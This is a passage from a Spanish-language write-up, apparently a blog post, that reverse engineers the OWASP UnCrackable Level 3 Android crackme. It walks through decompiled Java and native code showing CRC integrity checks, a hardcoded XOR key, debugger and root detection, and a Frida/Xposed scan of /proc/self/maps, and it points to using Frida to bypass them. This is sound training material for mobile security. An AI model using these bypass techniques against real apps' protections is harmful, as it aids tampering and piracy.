<span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">String</span> <span class="n">xorkey</span> <span class="o">=</span> <span class="s">"pizzapizzapizzapizzapizz"</span><span class="o">;</span>
<span class="kd">private</span> <span class="nc">CodeCheck</span> <span class="n">check</span><span class="o">;</span>
<span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">Long</span><span class="o">&gt;</span> <span class="n">crc</span><span class="o">;</span>

<span class="kd">private</span> <span class="kd">native</span> <span class="kt">long</span> <span class="nf">baz</span><span class="o">();</span>

<span class="kd">private</span> <span class="kd">native</span> <span class="kt">void</span> <span class="nf">init</span><span class="o">(</span><span class="kt">byte</span><span class="o">[]</span> <span class="n">bArr</span><span class="o">);</span>

<span class="o">[...]</span>

<span class="kd">static</span> <span class="o">{</span>
    <span class="nc">System</span><span class="o">.</span><span class="na">loadLibrary</span><span class="o">(</span><span class="s">"foo"</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Al entrar se ejecuta la función <code class="language-plaintext highlighter-rouge">OnCreate</code>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kt">void</span> <span class="nf">onCreate</span><span class="o">(</span><span class="nc">Bundle</span> <span class="n">bundle</span><span class="o">)</span> <span class="o">{</span>
    <span class="n">verifyLibs</span><span class="o">();</span>
    <span class="n">init</span><span class="o">(</span><span class="n">xorkey</span><span class="o">.</span><span class="na">getBytes</span><span class="o">());</span>
    <span class="k">new</span> <span class="nc">AsyncTask</span><span class="o">&lt;</span><span class="nc">Void</span><span class="o">,</span> <span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;()</span> <span class="o">{</span> <span class="c1">// from class: sg.vantagepoint.uncrackable3.MainActivity.2</span>
        <span class="cm">/* JADX INFO: Access modifiers changed from: protected */</span>
        <span class="nd">@Override</span> <span class="c1">// android.os.AsyncTask</span>
        <span class="kd">public</span> <span class="nc">String</span> <span class="nf">doInBackground</span><span class="o">(</span><span class="nc">Void</span><span class="o">...</span> <span class="n">voidArr</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">while</span> <span class="o">(!</span><span class="nc">Debug</span><span class="o">.</span><span class="na">isDebuggerConnected</span><span class="o">())</span> <span class="o">{</span>
                <span class="nc">SystemClock</span><span class="o">.</span><span class="na">sleep</span><span class="o">(</span><span class="mi">100L</span><span class="o">);</span>
            <span class="o">}</span>
            <span class="k">return</span> <span class="kc">null</span><span class="o">;</span>
        <span class="o">}</span>

        <span class="cm">/* JADX INFO: Access modifiers changed from: protected */</span>
        <span class="nd">@Override</span> <span class="c1">// android.os.AsyncTask</span>
        <span class="kd">public</span> <span class="kt">void</span> <span class="nf">onPostExecute</span><span class="o">(</span><span class="nc">String</span> <span class="n">str</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">MainActivity</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">showDialog</span><span class="o">(</span><span class="s">"Debugger detected!"</span><span class="o">);</span>
            <span class="nc">System</span><span class="o">.</span><span class="na">exit</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
        <span class="o">}</span>
    <span class="o">}.</span><span class="na">execute</span><span class="o">(</span><span class="kc">null</span><span class="o">,</span> <span class="kc">null</span><span class="o">,</span> <span class="kc">null</span><span class="o">);</span>
    <span class="k">if</span> <span class="o">(</span><span class="nc">RootDetection</span><span class="o">.</span><span class="na">checkRoot1</span><span class="o">()</span> <span class="o">||</span> <span class="nc">RootDetection</span><span class="o">.</span><span class="na">checkRoot2</span><span class="o">()</span> <span class="o">||</span> <span class="nc">RootDetection</span><span class="o">.</span><span class="na">checkRoot3</span><span class="o">()</span> <span class="o">||</span> <span class="nc">IntegrityCheck</span><span class="o">.</span><span class="na">isDebuggable</span><span class="o">(</span><span class="n">getApplicationContext</span><span class="o">())</span> <span class="o">||</span> <span class="n">tampered</span> <span class="o">!=</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">showDialog</span><span class="o">(</span><span class="s">"Rooting or tampering detected."</span><span class="o">);</span>
    <span class="o">}</span>
    <span class="k">this</span><span class="o">.</span><span class="na">check</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CodeCheck</span><span class="o">();</span>
    <span class="kd">super</span><span class="o">.</span><span class="na">onCreate</span><span class="o">(</span><span class="n">bundle</span><span class="o">);</span>
    <span class="n">setContentView</span><span class="o">(</span><span class="n">owasp</span><span class="o">.</span><span class="na">mstg</span><span class="o">.</span><span class="na">uncrackable3</span><span class="o">.</span><span class="na">R</span><span class="o">.</span><span class="na">layout</span><span class="o">.</span><span class="na">activity_main</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Esta función realiza una serie de operaciones:</p>

<ul>
  <li>Llama a <code class="language-plaintext highlighter-rouge">verifyLibs</code>, que comprueba la integridad de las librerías nativas mediante el checksum CRC. Cabe recalcar que no se comprueba criptográficamente la firma de las mismas.</li>
  <li>Con <code class="language-plaintext highlighter-rouge">init</code>, inicialliza las librerías nativas, eviando como parámetro la clave XOR antes mencionada (<code class="language-plaintext highlighter-rouge">pizzapizzapizzapizzapizz</code>).</li>
  <li>Realiza una comprobación en busca de debuggers, privilegios de root ó tampering, en caso de enontrarlos sale del programa.</li>
</ul>

<h2 id="métodos-de-detección">Métodos de detección</h2>

<p>Vamos a analizar cada método de detección por separado.</p>

<h3 id="verificación-de-las-librerías">Verificación de las librerías</h3>

<p>La función es la siguiente:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">void</span> <span class="nf">verifyLibs</span><span class="o">()</span> <span class="o">{</span>
    <span class="k">this</span><span class="o">.</span><span class="na">crc</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashMap</span><span class="o">();</span>
    <span class="k">this</span><span class="o">.</span><span class="na">crc</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"armeabi-v7a"</span><span class="o">,</span> <span class="nc">Long</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="nc">Long</span><span class="o">.</span><span class="na">parseLong</span><span class="o">(</span><span class="n">getResources</span><span class="o">().</span><span class="na">getString</span><span class="o">(</span><span class="n">owasp</span><span class="o">.</span><span class="na">mstg</span><span class="o">.</span><span class="na">uncrackable3</span><span class="o">.</span><span class="na">R</span><span class="o">.</span><span class="na">string</span><span class="o">.</span><span class="na">armeabi_v7a</span><span class="o">))));</span>
    <span class="k">this</span><span class="o">.</span><span class="na">crc</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"arm64-v8a"</span><span class="o">,</span> <span class="nc">Long</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="nc">Long</span><span class="o">.</span><span class="na">parseLong</span><span class="o">(</span><span class="n">getResources</span><span class="o">().</span><span class="na">getString</span><span class="o">(</span><span class="n">owasp</span><span class="o">.</span><span class="na">mstg</span><span class="o">.</span><span class="na">uncrackable3</span><span class="o">.</span><span class="na">R</span><span class="o">.</span><span class="na">string</span><span class="o">.</span><span class="na">arm64_v8a</span><span class="o">))));</span>
    <span class="k">this</span><span class="o">.</span><span class="na">crc</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"x86"</span><span class="o">,</span> <span class="nc">Long</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="nc">Long</span><span class="o">.</span><span class="na">parseLong</span><span class="o">(</span><span class="n">getResources</span><span class="o">().</span><span class="na">getString</span><span class="o">(</span><span class="n">owasp</span><span class="o">.</span><span class="na">mstg</span><span class="o">.</span><span class="na">uncrackable3</span><span class="o">.</span><span class="na">R</span><span class="o">.</span><span class="na">string</span><span class="o">.</span><span class="na">x86</span><span class="o">))));</span>
    <span class="k">this</span><span class="o">.</span><span class="na">crc</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"x86_64"</span><span class="o">,</span> <span class="nc">Long</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="nc">Long</span><span class="o">.</span><span class="na">parseLong</span><span class="o">(</span><span class="n">getResources</span><span class="o">().</span><span class="na">getString</span><span class="o">(</span><span class="n">owasp</span><span class="o">.</span><span class="na">mstg</span><span class="o">.</span><span class="na">uncrackable3</span><span class="o">.</span><span class="na">R</span><span class="o">.</span><span class="na">string</span><span class="o">.</span><span class="na">x86_64</span><span class="o">))));</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="nc">ZipFile</span> <span class="n">zipFile</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ZipFile</span><span class="o">(</span><span class="n">getPackageCodePath</span><span class="o">());</span>
        <span class="k">for</span> <span class="o">(</span><span class="nc">Map</span><span class="o">.</span><span class="na">Entry</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">Long</span><span class="o">&gt;</span> <span class="n">entry</span> <span class="o">:</span> <span class="k">this</span><span class="o">.</span><span class="na">crc</span><span class="o">.</span><span class="na">entrySet</span><span class="o">())</span> <span class="o">{</span>
            <span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="s">"lib/"</span> <span class="o">+</span> <span class="n">entry</span><span class="o">.</span><span class="na">getKey</span><span class="o">()</span> <span class="o">+</span> <span class="s">"/libfoo.so"</span><span class="o">;</span>
            <span class="nc">ZipEntry</span> <span class="n">entry2</span> <span class="o">=</span> <span class="n">zipFile</span><span class="o">.</span><span class="na">getEntry</span><span class="o">(</span><span class="n">str</span><span class="o">);</span>
            <span class="nc">Log</span><span class="o">.</span><span class="na">v</span><span class="o">(</span><span class="no">TAG</span><span class="o">,</span> <span class="s">"CRC["</span> <span class="o">+</span> <span class="n">str</span> <span class="o">+</span> <span class="s">"] = "</span> <span class="o">+</span> <span class="n">entry2</span><span class="o">.</span><span class="na">getCrc</span><span class="o">());</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">entry2</span><span class="o">.</span><span class="na">getCrc</span><span class="o">()</span> <span class="o">!=</span> <span class="n">entry</span><span class="o">.</span><span class="na">getValue</span><span class="o">().</span><span class="na">longValue</span><span class="o">())</span> <span class="o">{</span>
                <span class="n">tampered</span> <span class="o">=</span> <span class="mi">31337</span><span class="o">;</span>
                <span class="nc">Log</span><span class="o">.</span><span class="na">v</span><span class="o">(</span><span class="no">TAG</span><span class="o">,</span> <span class="n">str</span> <span class="o">+</span> <span class="s">": Invalid checksum = "</span> <span class="o">+</span> <span class="n">entry2</span><span class="o">.</span><span class="na">getCrc</span><span class="o">()</span> <span class="o">+</span> <span class="s">", supposed to be "</span> <span class="o">+</span> <span class="n">entry</span><span class="o">.</span><span class="na">getValue</span><span class="o">());</span>
            <span class="o">}</span>
        <span class="o">}</span>
        <span class="nc">ZipEntry</span> <span class="n">entry3</span> <span class="o">=</span> <span class="n">zipFile</span><span class="o">.</span><span class="na">getEntry</span><span class="o">(</span><span class="s">"classes.dex"</span><span class="o">);</span>
        <span class="nc">Log</span><span class="o">.</span><span class="na">v</span><span class="o">(</span><span class="no">TAG</span><span class="o">,</span> <span class="s">"CRC[classes.dex] = "</span> <span class="o">+</span> <span class="n">entry3</span><span class="o">.</span><span class="na">getCrc</span><span class="o">());</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">entry3</span><span class="o">.</span><span class="na">getCrc</span><span class="o">()</span> <span class="o">!=</span> <span class="n">baz</span><span class="o">())</span> <span class="o">{</span>
            <span class="n">tampered</span> <span class="o">=</span> <span class="mi">31337</span><span class="o">;</span>
            <span class="nc">Log</span><span class="o">.</span><span class="na">v</span><span class="o">(</span><span class="no">TAG</span><span class="o">,</span> <span class="s">"classes.dex: crc = "</span> <span class="o">+</span> <span class="n">entry3</span><span class="o">.</span><span class="na">getCrc</span><span class="o">()</span> <span class="o">+</span> <span class="s">", supposed to be "</span> <span class="o">+</span> <span class="n">baz</span><span class="o">());</span>
        <span class="o">}</span>
    <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">unused</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">Log</span><span class="o">.</span><span class="na">v</span><span class="o">(</span><span class="no">TAG</span><span class="o">,</span> <span class="s">"Exception"</span><span class="o">);</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">exit</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>La función comienza declarando un hashmap con los valores esperados para cada checksum, para después comprobarlos con los del propio apk. Podríamos tratar de saltar estas protecciones y modificar el programa, sin embargo no es lo más sencillo en este caso.</p>

<h3 id="anti-debuggers">Anti-debuggers</h3>

<p>Se lanza una tarea en paralelo que detecta debuggers conectados al programa.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">new</span> <span class="nc">AsyncTask</span><span class="o">&lt;</span><span class="nc">Void</span><span class="o">,</span> <span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;()</span> <span class="o">{</span> <span class="c1">// from class: sg.vantagepoint.uncrackable3.MainActivity.2</span>
        <span class="cm">/* JADX INFO: Access modifiers changed from: protected */</span>
        <span class="nd">@Override</span> <span class="c1">// android.os.AsyncTask</span>
        <span class="kd">public</span> <span class="nc">String</span> <span class="nf">doInBackground</span><span class="o">(</span><span class="nc">Void</span><span class="o">...</span> <span class="n">voidArr</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">while</span> <span class="o">(!</span><span class="nc">Debug</span><span class="o">.</span><span class="na">isDebuggerConnected</span><span class="o">())</span> <span class="o">{</span>
                <span class="nc">SystemClock</span><span class="o">.</span><span class="na">sleep</span><span class="o">(</span><span class="mi">100L</span><span class="o">);</span>
            <span class="o">}</span>
            <span class="k">return</span> <span class="kc">null</span><span class="o">;</span>
        <span class="o">}</span>

        <span class="cm">/* JADX INFO: Access modifiers changed from: protected */</span>
        <span class="nd">@Override</span> <span class="c1">// android.os.AsyncTask</span>
        <span class="kd">public</span> <span class="kt">void</span> <span class="nf">onPostExecute</span><span class="o">(</span><span class="nc">String</span> <span class="n">str</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">MainActivity</span><span class="o">.</span><span class="na">this</span><span class="o">.</span><span class="na">showDialog</span><span class="o">(</span><span class="s">"Debugger detected!"</span><span class="o">);</span>
            <span class="nc">System</span><span class="o">.</span><span class="na">exit</span><span class="o">(</span><span class="mi">0</span><span class="o">);</span>
        <span class="o">}</span>
    <span class="o">}.</span><span class="na">execute</span><span class="o">(</span><span class="kc">null</span><span class="o">,</span> <span class="kc">null</span><span class="o">,</span> <span class="kc">null</span><span class="o">);</span>
</code></pre></div></div>

<h3 id="anti-root">Anti-root</h3>

<p>Finalmente, se lanzan las comprobaciones de los niveles anteriores para detectar el uso del superusuario.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">RootDetection</span> <span class="o">{</span>
    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">checkRoot1</span><span class="o">()</span> <span class="o">{</span>
        <span class="k">for</span> <span class="o">(</span><span class="nc">String</span> <span class="n">str</span> <span class="o">:</span> <span class="nc">System</span><span class="o">.</span><span class="na">getenv</span><span class="o">(</span><span class="s">"PATH"</span><span class="o">).</span><span class="na">split</span><span class="o">(</span><span class="s">":"</span><span class="o">))</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="n">str</span><span class="o">,</span> <span class="s">"su"</span><span class="o">).</span><span class="na">exists</span><span class="o">())</span> <span class="o">{</span>
                <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
            <span class="o">}</span>
        <span class="o">}</span>
        <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">checkRoot2</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">str</span> <span class="o">=</span> <span class="nc">Build</span><span class="o">.</span><span class="na">TAGS</span><span class="o">;</span>
        <span class="k">return</span> <span class="n">str</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="n">str</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"test-keys"</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">checkRoot3</span><span class="o">()</span> <span class="o">{</span>
        <span class="k">for</span> <span class="o">(</span><span class="nc">String</span> <span class="n">str</span> <span class="o">:</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[]{</span><span class="s">"/system/app/Superuser.apk"</span><span class="o">,</span> <span class="s">"/system/xbin/daemonsu"</span><span class="o">,</span> <span class="s">"/system/etc/init.d/99SuperSUDaemon"</span><span class="o">,</span> <span class="s">"/system/bin/.ext/.su"</span><span class="o">,</span> <span class="s">"/system/etc/.has_su_daemon"</span><span class="o">,</span> <span class="s">"/system/etc/.installed_su_daemon"</span><span class="o">,</span> <span class="s">"/dev/com.koushikdutta.superuser.daemon/"</span><span class="o">})</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="n">str</span><span class="o">).</span><span class="na">exists</span><span class="o">())</span> <span class="o">{</span>
                <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
            <span class="o">}</span>
        <span class="o">}</span>
        <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>En esta parte también se comprueba que la flag de debug no esté activa:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">IntegrityCheck</span> <span class="o">{</span>
    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">isDebuggable</span><span class="o">(</span><span class="nc">Context</span> <span class="n">context</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">return</span> <span class="o">(</span><span class="n">context</span><span class="o">.</span><span class="na">getApplicationContext</span><span class="o">().</span><span class="na">getApplicationInfo</span><span class="o">().</span><span class="na">flags</span> <span class="o">&amp;</span> <span class="mi">2</span><span class="o">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<h2 id="analizando-las-librerías-externas">Analizando las librerías externas</h2>

<p>Podemos analizar la librería <code class="language-plaintext highlighter-rouge">libfoo.so</code> con algun decompilador como <code class="language-plaintext highlighter-rouge">ghidra</code>.</p>

<h3 id="anti-hook">Anti-hook</h3>

<p>Comenzaremos con la función <code class="language-plaintext highlighter-rouge">init</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">_INIT_0</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">long</span> <span class="n">lVar1</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">result</span><span class="p">;</span>
  <span class="n">pthread_t</span> <span class="kr">thread</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">canary</span><span class="p">;</span>
  
  <span class="n">lVar1</span> <span class="o">=</span> <span class="n">tpidr_el0</span><span class="p">;</span>
  <span class="n">canary</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar1</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="n">result</span> <span class="o">=</span> <span class="n">pthread_create</span><span class="p">(</span><span class="o">&amp;</span><span class="kr">thread</span><span class="p">,(</span><span class="n">pthread_attr_t</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="n">FUN_001030d0</span><span class="p">,(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">);</span>
  <span class="n">DAT_00115040</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">DAT_00115048</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">DAT_00115038</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">DAT_00115050</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">DAT_00115054</span> <span class="o">=</span> <span class="n">DAT_00115054</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar1</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">)</span> <span class="o">==</span> <span class="n">canary</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
  <span class="n">__stack_chk_fail</span><span class="p">(</span><span class="n">result</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Vemos que está utilizando <code class="language-plaintext highlighter-rouge">pthread_create</code> para iniciar un hilo de ejecución que ejecutará la función <code class="language-plaintext highlighter-rouge">FUN_001030d0</code>, esta parte tal vez tiene que ver con la detección de debuggers que vimos antes, ya que funcionaba en un hilo separado. Vamos a echar un vistazo a esa función:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">FUN_001030d0</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">long</span> <span class="n">lVar1</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">iVar2</span><span class="p">;</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">__stream</span><span class="p">;</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">pcVar3</span><span class="p">;</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">unaff_x19</span><span class="p">;</span>
  <span class="n">pthread_t</span> <span class="n">pStack_270</span><span class="p">;</span>
  <span class="kt">long</span> <span class="n">lStack_268</span><span class="p">;</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">pcStack_260</span><span class="p">;</span>
  <span class="n">undefined</span> <span class="o">*</span><span class="n">puStack_250</span><span class="p">;</span>
  <span class="n">code</span> <span class="o">*</span><span class="n">pcStack_248</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">acStack_240</span> <span class="p">[</span><span class="mi">512</span><span class="p">];</span>
  
  <span class="n">puStack_250</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">stack0xfffffffffffffff0</span><span class="p">;</span>
  <span class="n">__stream</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"/proc/self/maps"</span><span class="p">,</span><span class="s">"r"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">__stream</span> <span class="o">==</span> <span class="p">(</span><span class="kt">FILE</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
<span class="nl">LAB_00103180:</span>
    <span class="n">pcVar3</span> <span class="o">=</span> <span class="s">"Error opening /proc/self/maps! Terminating..."</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="p">{</span>
    <span class="n">unaff_x19</span> <span class="o">=</span> <span class="s">"/proc/self/maps"</span><span class="p">;</span>
    <span class="k">do</span> <span class="p">{</span>
      <span class="k">while</span> <span class="p">(</span><span class="n">pcVar3</span> <span class="o">=</span> <span class="n">fgets</span><span class="p">(</span><span class="n">acStack_240</span><span class="p">,</span><span class="mh">0x200</span><span class="p">,</span><span class="n">__stream</span><span class="p">),</span> <span class="n">pcVar3</span> <span class="o">==</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">fclose</span><span class="p">(</span><span class="n">__stream</span><span class="p">);</span>
        <span class="n">usleep</span><span class="p">(</span><span class="mi">500</span><span class="p">);</span>
        <span class="n">__stream</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"/proc/self/maps"</span><span class="p">,</span><span class="s">"r"</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">__stream</span> <span class="o">==</span> <span class="p">(</span><span class="kt">FILE</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LAB_00103180</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="n">pcVar3</span> <span class="o">=</span> <span class="n">strstr</span><span class="p">(</span><span class="n">acStack_240</span><span class="p">,</span><span class="s">"frida"</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">while</span> <span class="p">((</span><span class="n">pcVar3</span> <span class="o">==</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="o">&amp;&amp;</span>
            <span class="p">(</span><span class="n">pcVar3</span> <span class="o">=</span> <span class="n">strstr</span><span class="p">(</span><span class="n">acStack_240</span><span class="p">,</span><span class="s">"xposed"</span><span class="p">),</span> <span class="n">pcVar3</span> <span class="o">==</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">));</span>
    <span class="n">pcVar3</span> <span class="o">=</span> <span class="s">"Tampering detected! Terminating..."</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">__android_log_print</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="s">"UnCrackable3"</span><span class="p">,</span><span class="n">pcVar3</span><span class="p">);</span>
  <span class="n">goodbye</span><span class="p">();</span>
  <span class="n">pcStack_248</span> <span class="o">=</span> <span class="n">_INIT_0</span><span class="p">;</span>
  <span class="n">lVar1</span> <span class="o">=</span> <span class="n">tpidr_el0</span><span class="p">;</span>
  <span class="n">lStack_268</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar1</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
  <span class="n">pcStack_260</span> <span class="o">=</span> <span class="n">unaff_x19</span><span class="p">;</span>
  <span class="n">iVar2</span> <span class="o">=</span> <span class="n">pthread_create</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pStack_270</span><span class="p">,(</span><span class="n">pthread_attr_t</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="n">FUN_001030d0</span><span class="p">,(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">);</span>
  <span class="n">DAT_00115040</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">DAT_00115048</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">DAT_00115038</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">DAT_00115050</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">DAT_00115054</span> <span class="o">=</span> <span class="n">DAT_00115054</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">lVar1</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">)</span> <span class="o">!=</span> <span class="n">lStack_268</span><span class="p">)</span> <span class="p">{</span>
                    <span class="cm">/* WARNING: Subroutine does not return */</span>
    <span class="n">__stack_chk_fail</span><span class="p">(</span><span class="n">iVar2</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>De forma simplificada, se está abriendo el <code class="language-plaintext highlighter-rouge">/proc/self/maps</code>, que contiene el mapeo de memoria de todos los procesos, y uno a uno va comprobando si corresponde a <code class="language-plaintext highlighter-rouge">"frida"</code> o a <code class="language-plaintext highlighter-rouge">"xposed"</code>, dos de los debuggers más utilzados. Esta protección nos impide acoplarnos a un proceso para hookear funciones. Sin embargo, aunque resulte paradójico, podemos utilizar Frida para saltarnos esta protección.</p>

<p>Vemos que para salir se llama a la función <code class="language-plaintext highlighter-rouge">goodbye</code>.</p>

<h3 id="anti-debug">Anti-debug</h3>

<p>Si nos fijamos ahora en la llamada JNI <code class="language-plaintext highlighter-rouge">init</code>, vemos la siguiente función:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">Java_sg_vantagepoint_uncrackable3_MainActivity_init</span>
               <span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="n">param_1</span><span class="p">,</span><span class="n">undefined8</span> <span class="n">param_2</span><span class="p">,</span><span class="n">undefined8</span> <span class="n">param_3</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">__src</span><span class="p">;</span>
  
  <span class="n">anti_debug</span><span class="p">();</span>
  <span class="n">__src</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="o">**</span><span class="p">(</span><span class="n">code</span> <span class="o">**</span><span class="p">)(</span><span class="o">*</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x5c0</span><span class="p">))(</span><span class="n">param_1</span><span class="p">,</span><span class="n">param_3</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
